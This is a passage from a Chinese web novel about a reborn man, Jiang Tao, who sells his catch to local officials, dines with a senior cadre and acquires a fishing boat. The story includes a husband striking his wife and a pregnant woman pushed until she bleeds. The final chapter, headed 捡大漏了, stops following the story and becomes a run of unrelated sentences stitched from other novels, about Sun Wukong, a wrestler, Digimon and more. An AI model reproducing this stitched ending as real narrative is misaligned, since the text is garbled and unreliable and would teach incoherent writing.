就你会说谢谢! “大哥,你先回去吧,我这一堆事呢。” 江涛下了逐客令。 江海张了张嘴,不知道说什么。 江涛说得没错,看这阵仗,他得忙一阵子。 难道他站在这傻等? 反正投资的事,急也急不来。 现在不用上班,大不了明天再来。 这么想着,江海失魂落魄地回了家。 刘翠花正坐在门槛上,对着院子里五岁的孙子吼。 臭小子正是撒丫子疯跑的年纪,怎么哄都不听,把个刘翠花急得要死。 这孩子她是真不想伺候。 讨不到儿媳妇半点好脸色,还嫌弃她带孩子不用心。 要不是看在儿子的面子上,她才懒得瞎操这份心。 正骂着,看见江海回来了。 “咦,你怎么回来了?这个点没下班吧?” 刘翠花狐疑地上下打量着他。 江海像丢了魂似的,傻愣着不说话。 刘翠花也没太在意,眼尖地看到他手里攥着个黑乎乎的瓶子。 “这是什么?” 说着,一把抢了过来。 “可口可乐……美国……呀,这是外国牌子啊。” 刘翠花眼睛一亮,没想到这洋玩意儿她也见着了。 “小宝儿,快,你爷爷给你带好东西了。” 她献宝似的把可乐递给了孙子。 那臭小子眼睛一亮,他喝过这玩意儿。 “奶奶,可乐!可乐!” 小家伙高兴得直蹦跶。 “小宝儿,这是知道这洋玩意儿?” 刘翠花高兴坏了。 没想到自己男人还带回这么个洋玩意儿。 肯定不便宜吧? 他们那草编厂什么时候这么大方了? 她以为这是江海厂子里发的。 以前草编厂效益好时,江海也经常带一些稀罕物。 “江海,你们那草编厂是不是拉着投资了?” 刘翠花喜滋滋道,“这下好了,你也不要看你那倒霉弟弟的脸色了!我就想不明白,赵老板怎么会看上他?你也是疯魔了,把投资的事寄托在那个赌鬼身上。” 这一顿数落,听得江海心烦意乱。 脑子里全是刘主任对着江涛那副讨好样,还有自己刚才像条狗一样被赶出来的画面。 羞愤、嫉妒、懊悔交织在一起,让他彻底失去了理智。 “啪!”江海猛地甩手,一巴掌重重地扇在了刘翠花的脸上。 刘翠花正说得兴起,冷不丁被人打了一巴掌,一时没反应过来,只觉得脸上火辣辣地疼。 半响,她才“嗷”地一嗓子叫了出来,冲过来对着江海拳打脚踢。 江海看着她撒泼的样子,眼中满是恨意。 “当初你为何不阻止我?” “阻止什么?” 刘翠花捂着脸,本来想破口大骂,可见到江海眼中那股要杀人的毒意,吓得往后一缩。 “老三的录取通知书,当时不过就是撒了水,晒晒还能用,你非说……说这样老三会有想法,还不如丢掉,就当没看见!如果不是你在旁边煽风点火,我怎么会做出那种蠢事?” 江海咬牙切齿,眼眶发红。 “你这个杀千刀的,这事怪我啊?” 刘翠花终于反应过来,指着江海的手都在发抖。 “那时候不是你怕他读了大学压你一头,回来跟你抢家产吗?现在倒怪起我来了!” “要不是你这贱妇在旁聒噪,我怎么可能将江涛的录取通知书撕了?那可是大学啊!” 江海双眼赤红,“也就是因为这个,我这些年心里一直有鬼,看到他就烦,总想压他一头!结果呢?报应!这都是报应啊!” “好你个江海,自己做错事,现在倒把屎盆子扣我头上了?” 刘翠花气得直哆嗦,“当初谁在那骂江涛是扫把星,说读了大学也白搭来着?现在好了,人家江涛发达了,你这杀千刀的就知道在家里耍威风了!” “闭嘴!” 听着这些,江海只觉得太阳穴突突直跳,心中一股邪火无处发泄。 他冲进屋内,抓起桌上的东西就往地上摔。 平生最听不得的,就是别人说他不如江涛! 很快,家里一片狼藉。 碗碟碎了一地,暖瓶也摔破了,热水淌了一地,冒着白气。 左右邻居听见动静,都在院外张望,交头接耳地议论着。 “造孽哦!这个家还能不能过下去了哦!” 刘翠花抱着孙子躲在一旁,看着丈夫无能狂怒的样子,又怕又恨,眼泪止不住地往下掉,却再也不敢多说一句话。 第101章 什么时候钱这么容易挣了? 与江海家鸡飞狗跳不同,此时江涛家里充满欢声笑语。 “江老弟,你这黄颡鱼和江虾都怎么捞的啊?瞧瞧这品相,个头一个比一个匀称,啧啧,这么好的品质,我都有点舍不得匀给老高了。” 刘主任盯着满院鱼虾,一脸纠结,像是割了自己的肉。 江涛只是笑笑。 刘主任也是说说而已,怎么可能不匀点给高主任呢? 毕竟,他们二人的关系摆在那。 黄颡鱼耐活,不容易死,可江虾就不行了,没有增氧泵的话,撑不了多久。 就冲这点,刘主任也不会不匀一些给高主任。 “老弟,这黄颡鱼给你四块一斤,江虾给你七块一斤如何?” 刘主任紧紧盯着江涛,生怕觉得他给低了。 江涛想了想。 这个价格跟乡里东风饭店给的一样,说明蒋管事没糊弄他。 算是当下的市场价了。 “我没问题,刘主任。”江涛爽快地应了下来。 刘主任很高兴,当即招呼司机小王赶紧过秤。 铁牛、赵老头以及老张自然也都上来帮忙,几人合力,不一会儿功夫就搞定,将称好的鱼虾分装到卡车厢里的水箱中。 “黄颡鱼三百零六斤!江虾两百一十七斤!”小王报出数字。 算下来,黄颡鱼一千两百二十四块,江虾一千五百一十九块,加起来就是两千七百四十三。 刘主任照例凑了个整,给了江涛两千七百五十块。 江涛接过厚厚一叠钞票,质感沉甸甸的,还有一股好闻的油墨清香。 赵老头看得眼睛发直,心脏砰砰直跳。 这是卖了两千七百五十块? 也就是说,待会他就能分到两百七十五? 天呐,加上上次的二百一十块,这三天就直接挣了四百八十五! 这是什么概念? 抵得上县里工人一年的工资了! 他感觉是在做梦,什么时候钱这么容易挣了? 老张在旁也是羡慕得直流口水。 这钱挣得,比他在家吭哧吭哧编筐强太多了。 简直是一个天上一个地下。 铁牛不爱说话,但看着那一叠钱,心里对江涛的崇拜又多了几分。 这跟着涛子,真是跟对了人。 “刘主任,有个事情我想找您帮忙?” 江涛收好钱,招呼刘主任吃桃子。 “老弟,别主任主任的,我应该年长你几岁吧?以后叫刘哥就行。” 刘主任接过桃子咬了一口,“嗯,真甜!说吧,什么事尽管开口,能力范围内的,刘哥绝不推辞。” “刘哥,是这样的。” 江涛从善如流,将自己打算搭乘刘主任顺风车的想法说了一遍。 “老弟,你去县里是?”刘主任好奇地问。 “这事是这样的。” 江涛将自己打算盖楼房,现在审批需要正式图纸和结构安全意见,想去县里找颜卫国帮忙的事说了。 “老弟,你要盖楼房啊?” 刘主任很兴奋,“这是好事啊!图纸的事你找颜领导绝对没问题。” “不过,我这破卡车可开不进县委大院,警卫都不让进。但我单位有辆上海牌轿车,虽然旧了点,但面子上是过得去的。老弟你先跟我回单位,咱们拾掇拾掇,换辆轿车去找颜领导如何?” 江涛本来只想让刘主任把他放到县委门口就行,但现在人家主动说要跟着一起去。 如果是以前他可能不清楚,但两世为人,他还能不明白? 刘主任这是想趁机跟着他到颜卫国面前露个脸,攀个关系呢。 “好啊,就怕给老哥您添麻烦。” 江涛没有拒绝。 这种顺水人情,做做也无妨。 想必颜伯伯不会介意的吧? “不麻烦,不麻烦!绝对不麻烦!” 刘主任高兴得嘴都合不拢。 这正愁没机会在颜领导面前露脸呢,没想到送上门的机会这么快就来了。 “哈哈,咱们这就走吧?事情办妥,到时喊上老高一起喝点,庆祝庆祝!” “行,那就有劳刘哥了。” 江涛点点头,转头对林月柔交代几句,注意安全,关好门窗之类的。 毕竟,家里现在有一万块呢。 这可不是小数目。 也幸好宋二那群闲汉被关进去了,要不,他还真不放心家里老婆孩子。 唉,要是自己有辆车就好了,滨江村到县里也就是几十公里,顶多个把小时的事情。 “月柔,一定要注意把门关好。”江涛一而再叮嘱。 旁边,赵老头和铁牛拍着胸脯,“放心吧,涛子,我们晚上都会照应着的。” “那就行,钱等我回来再分。” 江涛这才彻底放心。 跟着刘主任上了那辆蓝色的跃进牌卡车。 “走了啊。” 引擎一阵轰鸣,车身随之抖了两抖。 卡车晃晃悠悠驶出院门,不一会儿就消失在村道的尽头。 “唉,涛子这能耐。” 望着远去的卡车,老张咂了咂嘴,眼里满是艳羡,“这去县里跟走亲戚似的,还有专车接送。” “老张,我可跟你说,” 赵老头一脸严肃,“想要跟着涛子混,就给我踏踏实实好好干,不该生的心思别生,不该伸的手别伸。” 要搁以往,老张早就跳起来跟赵老头斗嘴了,非得争个高下。 但见识过江涛的本事,又知道赵老头这话也是为他好,便把到嘴边的话咽了回去。 “老赵,你放心吧。我老张虽不是什么大善人,但良心还是有的。涛子待我不薄,我这条老命都能卖给他,哪能生歪心思?” “嗯,这就对了。” 赵老头见他态度诚恳,脸色这才缓和下来,算是默认了老张加入他们的圈子,不再把他当外人排挤。 老张心里一块石头落了地。 只要赵老头这关过了,以后跟着涛子干活,那就名正言顺了。 哎呀,也不知涛子回来能给他多少辛苦费。 老张站在原地,看着空荡荡的村路,像丢了魂似的。 “行了,还看什么看。” 赵老头背着手,没好气地催道,“赶紧回去,明天还干活呢。” “哎。” 老张应了一声,慢吞吞地挪动步子。 可心里头还是空落落的。 今天的晚饭不在涛子家吃,就只能回去啃咸菜了。 还真有点不适应。 他想了想,拐个弯跑去了老邹那小卖部,准备搬一块豆腐。 老邹正记账呢。 见他只拿一块,气得直翻白眼,隔着柜台骂他小气鬼。 “一块豆腐够塞牙缝吗?你手里那瓶可乐都够买一板豆腐了!” “要你管!” 老张把钱拍在柜台上,拎着豆腐就走。 另一边,赵老头背着手,拎着瓶可乐,哼着小曲儿回了家。 一进门,赵老太就端来了热水让他泡脚,嘴里还念叨着涛子今天给的半斤虾,晚上怎么个吃法。 赵老头舒服地眯着眼,享受着老婆子的伺候。 这日子,真是舒坦。 第102章 涛子,你这是行家啊! “铁牛叔,喝汽水。” 江涛家院子里,卡车走后,只剩一地盆桶和泼洒的水渍。 刚才老张和赵老头追出去相送,铁牛却留了下来。 他一声不吭地帮忙收拾,把盆桶一个个用水冲干净,搬到院角摞好,又拿拖把将湿漉漉的地面拖得干干净净。 这会儿,连院子里那股鱼腥味也都淡了不少。 “招娣,叔叔不渴,你喝吧。” 铁牛抹了把汗,看着懂事的大丫头,心里暖烘烘的。 “拿着吧。” 江招娣坚持道,仰着小脸,“铁牛叔最辛苦了。” 铁牛拗不过,接过那瓶冰凉的汽水。 他心里那个甜啊。 这家人,真是把他当自家人待。 他仰头灌了一大口,一股凉气顺着嗓子眼往下钻,把刚才干活出的热汗全给压下去了。 “开饭了,招娣,快喊你铁牛叔过来吃饭。”林月柔在屋里喊道。 此时,夕阳西斜,不少人家屋顶上升起了袅袅炊烟。 江涛跟着刘主任走后,林月柔就想着赶紧做晚饭,好招待铁牛、赵老头和老张。 早点吃完,几个丫头也能早点睡下。 “哎。” 江招娣应了一声,拉着铁牛要往屋里走。 铁牛自然不愿意。 涛子不在家,他一个大男人,哪好意思在这儿蹭饭? 他一溜烟跑了,没影了。 没法子,林月柔只得去请,想着顺便把赵老头和老张也喊上。 谁知到了赵老头家,老两口已经坐桌吃饭了。 桌上摆着两碟小菜,赵老头正抿着小酒,一脸享受。 “月柔,哪能天天在你家吃啊。” 赵老头咂咂嘴,“这会儿我们都吃上了。” “是啊,月柔,老头子已经喝上了……” 赵老太也跟着附和。 难得他家老头子得她伺候一回,她收点分成,也就不觉得有什么过意不去了。 到了老张家,得知林月柔喊他吃饭,老张肠子都悔青了。 敢情是有晚饭吃的啊! 但这会儿他豆腐都炖上了,再跑去吃,不合适吧? 说起来,多亏跟着江涛,分了些辛苦费,今天还给家里带了一瓶可乐。 他家老婆子难得脸色好看,竟破天荒地同意他喝酒呢。 “下次吧,月柔。” 老张心里那个悔啊。 但涛子不在家,他一个大男人去人家喝酒也不合适吧? 林月柔一连碰了两个钉子,便继续前往铁牛家。 铁牛家条件不好,但铁牛分得两百多块,也给自家提了伙食。 大米粥、煮咸鸭蛋,还有一碟炒青菜,比以前能照见人影的玉米稀汤强多了。 这会儿,铁牛娘正给铁牛盛粥,见林月柔来了,连忙放下碗,拉着她的手。 “月柔好孩子,在这吃点?” “不了,大娘,我得赶紧回去,几个丫头我不放心。” 林月柔知道这三人不去吃晚饭了,也就没再坚持。 “月柔,你快回去吧。” 铁牛跟出来,不放心地叮嘱,“把院门闩好。” “知道了,铁牛你回屋吧。” 林月柔点点头,转身往家走。 回到家,几个丫头都还挺懂事。 桌上的菜都摆得好好的,她们坐在那,规规矩矩地等。 见妈妈一个人回来,几个小脑袋齐刷刷地抬了起来。 “铁牛叔他们人呢?”江招娣问。 “他们都在自家吃啦,咱们也赶紧吃饭吧。” “哦,吃饭。” 丫头们应了一声,拿起筷子。 可吃着吃着,气氛却有些沉闷。 爸爸在的时候,这餐桌上的气氛多热闹啊,大家叽叽喳喳的,连吃饭都香。 现在虽然菜还是那些菜,却总觉得少了点什么。 “……我想爸爸了。” 江盼娣吃着吃着,忽然把筷子一放,扁着小嘴,一副要哭的模样。 江招娣和江来娣对视一眼,心里那个无语。 这老二又开始演戏了。 可爸爸不在,你演给谁看啊? 她俩正要吐槽,谁料老八也跟着抽泣起来。 “我也想爸爸。” 小丫头奶声奶气哭了起来。 这一下像是按下了开关,其他几个丫头也都跟着嘟囔开来。 “妈妈,我们想爸爸。” 江招娣和江来娣你看看我,我看看你。 说起来,她们也想爸爸。 只是平时习惯了掩饰,怕妈妈担心,也怕显得矫情。 可今晚爸爸不一定回来,她们可得坚强点。 “都别闹了,爸爸不在,我们要保护妈妈。” 江招娣摆出大姐的姿态。 “大姐说得对,不要哭闹了,赶紧吃饭。” 江来娣跟着维持秩序。 林月柔心里不是滋味。 以往江涛经常不在家,她也没觉得什么,只当是日子本该如此。 可那时她担心的是睡下了,半夜江涛回来,见丫头们没等他,会打她们。 现在看着这一屋子的牵挂,她才真正意识到,原来她们是真的想爸爸了。 这心里空落落的感觉,比以往任何时候都要真切。 “快吃吧,别凉了。” 林月柔给丫头们夹了菜,“爸爸办完事就回来了。” 而另一边,江涛坐在县招待所最高档的包厢里,对着满桌的山珍海味,却没什么胃口。 家里几个丫头也不知睡了没? 月柔有没有把院门锁好? “涛子,这才出家门就想媳妇了?” 颜卫国笑着打趣,语气里带着长辈特有的慈爱。 江涛有些不好意思地挠挠头。 他跟着刘主任到了县招待所后,正想着这个点颜卫国还在不在县委大院,他们得赶紧换车过去。 谁知刘主任却直接拉他去澡堂洗了澡,还给他换上了一身崭新的的确良衬衫。 镜子前,江涛看着镜中的自己,短发利落,精神抖擞,倒也有了些英姿。 “老弟,你这模样可不赖啊。”刘主任在一旁打趣。 “刘哥,这个点……颜伯伯该不在县委大院了。” 江涛整理着衣领,有些担心。 当初,颜卫国从他家离开时,就让他有什么事就去县委大院找他,说最近这段时间他都在。 “哈哈,你这小子,这事我都安排好了。”刘主任得意地拍拍他的肩膀。 “安排好了?” 江涛傻眼了。 怎么安排的啊? 他怎么不知道? 刘主任不是一直跟他在一起洗澡的吗? “我让小王给老高打了电话,老高跟颜领导那边联系了,说晚上给你安排个接风宴。” “啊?” 江涛也是没想到。 他来县里是为了盖房子的审批手续,搞什么接风宴啊? 哎,这样一搞,他今晚是铁定不能回去了。 本来还想厚着脸皮借刘主任的卡车开回去,等明天打了渔,自己再给他开回县里,到时带上自行车,自己再骑车回来。 这下全打乱了。 “行了,领导给你接风,怎么还不乐意呢?” 刘主任不由分说。 就这样,江涛被带到了这个大包厢。 包厢里,高主任也在场,见他进来,连忙起身相迎。 “江老弟,好久不见。” “快请坐,领导正等着呢。” 主位上,颜卫国一身中山装,虽然面带微笑,但那股子大领导气息让人不敢小觑。 江涛也是第一次在颜卫国身上感受到这种上位者的气场。 要不是他两世为人,多少见过一些世面,换做以前的自己,恐怕腿肚子都要抽筋了。 “涛子,这些菜也不知合不合你口味。” 颜卫国转着玻璃转盘,把一盘清蒸鲈鱼转到江涛面前,“来,别拘束。” 江涛拿起筷子,夹了一口,细细品味。 “嗯……这是海鲈吧?味道不错,但比起河鲈来,肉质稍微紧实了些,鲜味也淡一点。” “哎呀,涛子,你这是行家啊!” 颜卫国眼睛一亮,笑着赞道,“没想到你还是个美食家。” 江涛不好意思地笑了笑,“颜伯伯过奖了,就是平时跟鱼打交道多了,嘴刁了些。” 其实吧,鲈鱼他还没捞到过呢。 不过是上辈子国家发展强盛了,他做点小生意,陪客户应酬,什么山珍海味没吃过? 第103章 渔船搞定了! “是吗?这海鲈和河鲈真有差别?” 高主任夹起一块鱼肉,仔细嚼了嚼,一脸认真地摇了摇头,“我怎么吃不出来啊?” 刘主任跟着尝了一口,咂咂嘴,也说自己也没尝出什么两样。 江涛看着他们,心里有些无语。 这两位唱的是哪出双簧? 是想拍自己马屁,借机讨好颜伯伯? 没那个必要吧? 他们在机关后勤浸淫多年,平日里迎来送往,嘴皮子可不见得比自己差。 这拍马屁的手段可不高明。 他正琢磨着,颜卫国却笑着开了口。 “其实吧,我也吃不出来。” 说着,夹了一口鲈鱼,眼神忽然变得有些悠远。 “我们那时候,吃饭都成问题,能有一口吃的就不错了。赶跑了外敌、打倒了反动派,国家站起来了,老百姓也翻身做了主人。可国家一穷二白,老百姓日子苦啊,民生千头万绪,哪顾得上讲究味道?” 气氛一时有些凝重。 高主任和刘主任连忙收起嬉皮笑脸,配合地表现出凝重。 江涛也没说话,只是静静听着。 他知道颜伯伯这是要说正事了。 大人物说话,总讲究个起承转合,先忆苦思甜,再谈工作。 “八二年十二大之后,中央和省里都成立了顾问委员会。我这把老骨头受省里返聘,专门下来看看老百姓的吃喝冷暖,还有三粮五钱的征收情况。从百姓餐桌到民生负担,都得过问。” 话说到这,江涛心里忽然一动。 “颜伯伯,是不是国家要搞菜篮子工程了?” “菜篮子工程?” 颜卫国眼睛一亮,“涛子,这倒是个好说法,你是怎么想到的?” 呃…… 江涛心里咯噔一下。 他怎么想到的? 无非是上辈子新闻里听来的。 看颜伯伯这反应,难道这时候官方还没正式提出来? 哎呀,也不清楚具体是哪一年,只记得大概就是八十年代这阵子。 “我是听颜伯伯说国家过问百姓吃喝,但眼下老百姓手里钱还不宽裕,” 江涛脑子转得飞快,赶紧找补,“就想着,是不是能让寻常人家花最少的钱,吃上最新鲜的肉蛋奶。比方说这海鲈河鲈,只要不细究,老百姓吃起来能有多大差别?” “涛子,不愧是老江的种!” 颜卫国激动地一拍桌子,“英雄所见略同!我这次受省里返聘下乡调研,就是要让老百姓吃得起肉、吃得起鱼。” 他指着盘子里的鲈鱼。 “就说这个,海鲈可比河鲈便宜实惠多了,关键营养价值还高。可话说回来,咱们海洋渔业还有很大进步空间。海洋里资源丰富,可是搞不上来,也只能望洋兴叹。没有船,没有技术,再好的东西也到不了老百姓碗里。” 江涛一听,深以为然。 他现在打渔,哪敢往深水去? 要不是有情报在手,在江边连根毛都捞不着。 普通渔民想去深海,没有像样的渔船根本是寸步难行。 所以,之前颜伯伯在他家时,他就提过想搞条渔船,也不知现在什么情况了。 正想着,颜卫国话锋一转。 “涛子,你之前不是说要搞条渔船吗?这是好事。靠水吃水,有船才能走得更远,捞得更多。你那个事,伯伯给你安排好了。” “安排好了?”江涛一愣。 “嗯。” 颜卫国点点头,“我跟水产局的同志打了招呼,县里有批处理的小型机动渔船,性能还不错,价格也公道。我已经让他们给你留着了。回头你去县水产公司看一眼,手续齐全,当天就能开走。” “有了这船,你就能出海。海里鱼多,像这种海鲈,一网下去成千上万斤。到时候你不仅自己致富,还能拉低咱们这的鱼价,让老百姓吃上便宜鱼,这可是大功德啊。” 江涛心里一热,刚要道谢,颜卫国又想起了什么。 “对了,还有你盖房的事。” 颜卫国温和地看着江涛,“你那个图纸和结构安全的事,我刚才听刘主任说了。也就是乡里没那个条件,要是在县里,城建部门早就主动上门服务了。老百姓盖房子是百年基业,安全第一,容不得半点马虎。我待会给县里的老部下打个招呼,让他们派个最好的技术员去帮你把关。手续的事,一路绿灯。” 江涛连忙举杯,“谢谢颜伯伯,这可帮了我大忙了。” “谢什么。” 颜卫国摆摆手,端起酒杯与江涛轻轻一碰,“这是你应得的。好好干,给乡亲们带个好头。” 江涛饮尽杯中酒,看着这位慈祥又威严的长辈,心里说不出是什么滋味。 渔船、盖房,两件压在心头的大事,就这么轻飘飘有了着落。 这不仅是颜伯伯的关照,更是这个国家正在发生的巨变。 说到底,还是因为国家一天天好起来了,自己不过是顺势而为,赶上了好时候罢了。 ----------------- 刘主任和高主任一听颜老这么说,哪儿还能坐得住? 俩人几乎是同时站了起来,举着酒杯就凑到了江涛跟前。 “哎呀,恭喜恭喜啊,江老弟!” 刘主任笑得跟朵向日葵似的,“双喜临门啊!房子有着落了,这渔船也搞定了!这以后,你可是咱县里第一个有私家渔船的个体户了!” “可不是嘛!” 高主任也是满脸堆笑,“江老弟,你这可是给咱们县的个体经济长脸了。有了这船,那可是如虎添翼,以后不光是自己发财,还得带着乡亲们一起吃鱼呢!” 江涛连忙也端起杯子,谦虚笑道:“两位哥哥可别这么说,我就是想混口饭吃,还得仰仗两位哥哥多帮忙。” “帮忙是肯定的!” 刘主任拍着胸脯,“去水产公司提船、办证,只要是刘哥能说上话的,绝不含糊!谁要是敢卡你脖子,你直接告诉哥哥我,我开着卡车去撞他家门!” “哈哈,小刘这性子,还是这么豪爽。” 颜卫国被逗笑了,摆摆手道,“江涛啊,你年轻有为,敢闯敢干,这船和房的事,县里都会给你开绿灯。但记住了,这船是让你去捕鱼的,可不是让你去搞歪门邪道的。安全第一,守法经营,知道吗?” “颜伯伯放心,我记在心里了。”江涛正色道。 “来来来,咱们喝酒!” 高主任见气氛到了,赶紧打圆场,“江老弟,这杯你得干了,预祝早日开船大吉!” 几只玻璃杯碰在一起,发出清脆的声响。 江涛仰头饮尽,辛辣的白酒顺着喉咙烧下去,心里却是一片火热。 渔船搞定了! 这意味着,他再也不用局限于江边那点小鱼小虾,也不用完全依赖系统给的“情报”在浅水区捡漏。 有了船,他能去更远的海域,能接触到真正的渔业资源。 这不仅仅是赚钱的门路,更是他在这个时代站稳脚跟的根基。 酒过三巡,刘主任和高主任喝得面红耳赤,开始拉着江涛称兄道弟,聊起些官场上的趣闻和门道。 江涛笑着应付,心里却在盘算明天去水产公司提船的细节。 这顿饭吃得值,颜卫国一句话,顶他跑断腿。 说到底,这就是信息和门路的力量。 散席时,已经夜里十点多了。 颜卫国年事已高,先行回县委大院休息。 刘主任喝得有点高,嚷嚷着要给江涛在招待所安排个房间休息。 江涛也没办法,这大晚上的没车回村,只能将就一宿。 高主任兴致也很高,跟着说今晚也不回了,就在这儿凑合一晚。 三人从餐厅往外走,晚风一吹,江涛的酒意醒了大半。 他抬头看了看县城的夜空,虽然远不如后世那般灯火通明,却已经有了几分将要热闹起来的气象。 明天,就去提船。 这滨江村,怕是要变天了。 第104章 不该出生 次日清晨,天刚蒙蒙亮。 江涛睁开眼,习惯性地集中精神,试图感应一下“情报系统”,结果一片寂静。 他微微叹了口气。 估计是因为他不在江边的缘故,看来这系统也有地域限制。 正准备起床,房门就被敲响了。 “江老弟,起了没?洗脸水给你打好了!”门外传来刘主任洪亮的声音。 江涛开门一看。 刘主任早已穿戴整齐,头发梳得一丝不苟,中山装的领口扣得严严实实,丝毫看不出昨晚喝得东倒西歪的样子。 “刘哥早。” “早!快洗漱,高主任已经在餐厅等咱们了。”刘主任催促道。 江涛一愣,高主任竟然没走? 昨晚喝得那么凶,他以为高主任早就回单位了呢。 到了餐厅,果然见高主任坐在那儿,正慢条斯理地喝着小米粥。 精神矍铄,眼神清明,哪有半分宿醉的样子? “老弟,醒了?” 高主任笑着招手,“快来吃早饭。” “高哥,我还以为你回去了。”江涛有些惊讶。 “回去?那哪行!” 高主任放下筷子,笑道,“今天好日子,咱哥几个得去把渔船提了。我特意跟单位请了假,今天专门给你当向导。” 高主任为了他提船的事,竟然专门请了一天假。 江涛心里一热,真的很感动。 但他也没多说什么,有些帮助,不是一句简单“谢谢”能够了事的。 吃完早饭,江涛试着感应了一下,情报系统依然静悄悄的。 也好,今天专心办正事。 三人出门,直奔县水产公司。 海阳县水产公司位于县城东郊,靠近码头不远。 这家公司不光自己捕鱼,更是当地最大的鱼类收购商和经销商。 江涛几人开车赶到时,远远就看见一个大院子。 围墙斑驳,大门敞开。 院子里停着几辆老式解放牌卡车,里面弥漫着浓重的鱼腥味和机油味混合的气味。 此时,工人们正光着膀子往卡车上搬运冰块和渔箱,准备出海。 而角落的维修区,停着几艘拆卸的船体,有的正在维修,有的则静静地趴窝。 “走,去办公室。” 高主任熟门熟路地领着路。 水产公司李经理早就得了信,见到高主任和刘主任亲自陪着来,那是百般客气。 “李经理,能先带我们看看船吗?”江涛心里着急。 “没问题。”李经理满口答应,在前面带路。 很快,几人来到码头边。 “江同志,就是这艘,滨渔07号。去年年底刚退下来的,机器是新换的,稳当得很!” 李经理指着一艘船介绍道。 江涛抬头望去,只见一艘墨绿色的小型机动渔船静静停靠在岸边。 船身不大,约莫七八米长,漆面虽有些斑驳,但看着很是结实。 这就是他在这个时代的“印钞机”了。 江涛跳上甲板,摸了摸有些锈迹的栏杆,心里踏实得很。 有了它,那片广阔的江水,乃至更深的海域,都将向他敞开大门。 “行啊,就它了。” 江涛觉得七这个数字挺吉利,心里很满意。 李经理也暗暗松了口气,领导交代的事总算办妥了,可不能出什么岔子。 接下来就是办手续,几人转身往办公室走。 刚走到院子中间,就听见一阵喧哗。 “程亮,你个没良心的!我肚子里怀了你的种,你竟然敢不认账?!”一个女人尖声嘶吼着。 “放屁!水性杨花的破鞋,谁知道你跟谁搞大的肚子!”一个男的嚣张回骂。 紧接着,两人就厮打在了一起。 旁边一群工人围观看热闹,起哄声不断,还有人吹起了口哨。 李经理脸色一沉。 今天有贵客在,怎么偏赶上这出幺蛾子? “几位不好意思,我去看看。” 他给江涛几人赔了罪,上前去处理。 “有意思,这儿还能看戏。”刘主任饶有兴致地踮脚张望。 “咱们往前看看。”高主任也起了好奇。 两人拉着江涛也凑过去看热闹。 几人刚走到人群外围,就听人群忽然一阵骚动。 “不好,这女的流血了!” 原来那男的一把将女人推倒在地,女人捂着肚子在地上打滚,身下洇出一滩鲜血。 人群瞬间炸了锅。 “快,送医院!”有人喊道。 江涛朝地上那女人看了一眼,眉头猛地一皱。 这张脸怎么这么眼熟? 他定睛一看,竟是葛亚慧! 她怎么在这? 再看向那个跟她拉扯厮打的男人,江涛脑海里轰的一声炸开。 那张脸,跟上辈子拔他氧气管的那个野种,简直如出一辙! 这么说来,葛亚慧的奸夫,竟然是水产公司的人? “快报警!叫救护车!” 现场一片混乱。 不一会儿,救护车的鸣笛声由远及近。 医护人员将葛亚慧抬上担架,那男人也被随后赶来的公安带走了。 李经理气得脸色铁青。 回到办公室后,他一边给江涛几人倒热茶,一边倒起了苦水。 “哎呀,让几位看笑话了。” 李经理递过茶杯,愤愤道,“刚才被带走那男的,是我们水产公司的副经理,叫程亮。仗着老丈人以前是公司的书记,才混进来的。” “老丈人前年一走,他就原形毕露,在外面搞破鞋,把人家肚子搞大了,又不认账。” “这女的之前来过几次,我们也劝过,后来不知怎么就不来了。谁知道今天偏在这儿闹出这么大的事,还当着几位贵客的面,真是晦气。” 江涛坐在那里,手里捧着茶杯,心里却是翻江倒海。 程亮……葛亚慧…… 没想到,前世的仇人竟然在这里碰了头。 江涛嘴角不自觉地抿紧。 宋二被关进去之后,葛亚慧怕是找不到能接盘的老实人了,这才不得已又回头来找这个奸夫。 可程亮这种货色,哪像宋二和当初的他那么好拿捏? 葛亚慧这次算是踢到铁板上了。 恶人自有恶人磨。 “李经理,没想到你们公司还挺热闹的。” 刘主任干笑一声,想缓和气氛。 高主任摇摇头,“那女的估计要流产了,肚子里什么种都白搭了。” 话说得刻薄却也不无道理。 “流了也好,” 江涛淡淡开口,“有些不该出生的,就该留在不该来的地方。” 刘主任和高主任对视一眼,只当江涛是被这出闹剧搅了兴致,便也不再多说。 李经理更是尴尬,连忙取出渔船过户的文件,将话题拉回正事上。 江涛接过钢笔,在过户手续上签下自己的名字。 笔尖划过纸面,沙沙作响。 前世的账,他记下了。 一笔一笔,都记着。 但不是现在。 现在他有了船,有了路,有了往前走的资格。 那些旧账,不急。 第105章 捡大漏了! 大家坐下之后,开始天南地北的海聊,都是年轻人,又都是同学,而且马上就要分开了,好像彼此有说不完的话题。 孙悟空对于这些倒也不在意,反正他气也出了,唐僧也下跪认错了,下面,这个妖怪也该收了。 齐星雨虽然用的是讲故事的方式,也说的隐晦,但时间一长,即使没有一直听的人也都能多少理解几分。 离开伦敦,陈凡跟着公司前往就威尔士,看望就威尔士一家福利院内的孤儿,E为了保持正面的形象,一直都在做慈善,什么生病的孩子,孤儿等等,都是E照顾的对象。 “迪安,你听我解释。”蕾妮杨知道迪安安布罗斯生气了,一直尝试解释,奈何迪安安布罗斯根本听不进去。 苏音音闭上眼,在睁开眼,她正坐在大厅里的沙发上。纤细的手腕上,带着一串价值五十万的手链,在清晨的阳光下,散发着奕奕光彩。 傻子才不吃呢,先不说,血玉金阳果是不是真的用九级武者培育起来的,就算是真的,也没啥,早几百年的事情了,再说了平时吃的蔬菜还是农家肥浇灌的呢。 她努力回忆,她对这个苏琪没有多少印象。苏琪比苏琴心思深沉,总是一副看戏的架势,私下里坏人都让苏画做了。在原主的记忆力,苏音音对苏琪没有多余的印象。 异能者们奋力扑杀,不少普通人为了自身安全,也拼了命的战斗。 说罢,大表哥就松开了张风,把事情处理的刚刚好,张风一被松开,脸色也是显得有点轻松了,不过就感觉他在我大表哥的手上显得跟弱鸡一样,似乎一下子就能搞死的感觉。 冥皇哼了一声,转身便往神庙方向去了,苾玉嘴角含笑望着冥皇的背影,眼角却是渗出泪來。 看样子,这么多年不见,他的威慑还是在的。即便他的实力并没有达到现在这个程度,他出现,mega裂空座和骑拉帝纳也会给他三分薄面。 对此,凌霄是瞥了一眼,一句话都不说,要是他出手了,那么他们的数码兽连进化的机会都没有,古加兽这种对手,他光是用气势就能杀了他。 门轻启一线,她停了下來,有些迷惘地摸摸头,愣了好一会,回过头來寻找着那顶凤冠。 交、配,这种事情是天经地义的事情,人是如此,动物也是如此,这都是生理上正常的反应,更是每一种生灵都会去做的,为的就是让自己的血统蔓延下去,不被历史的潮流所湮没。 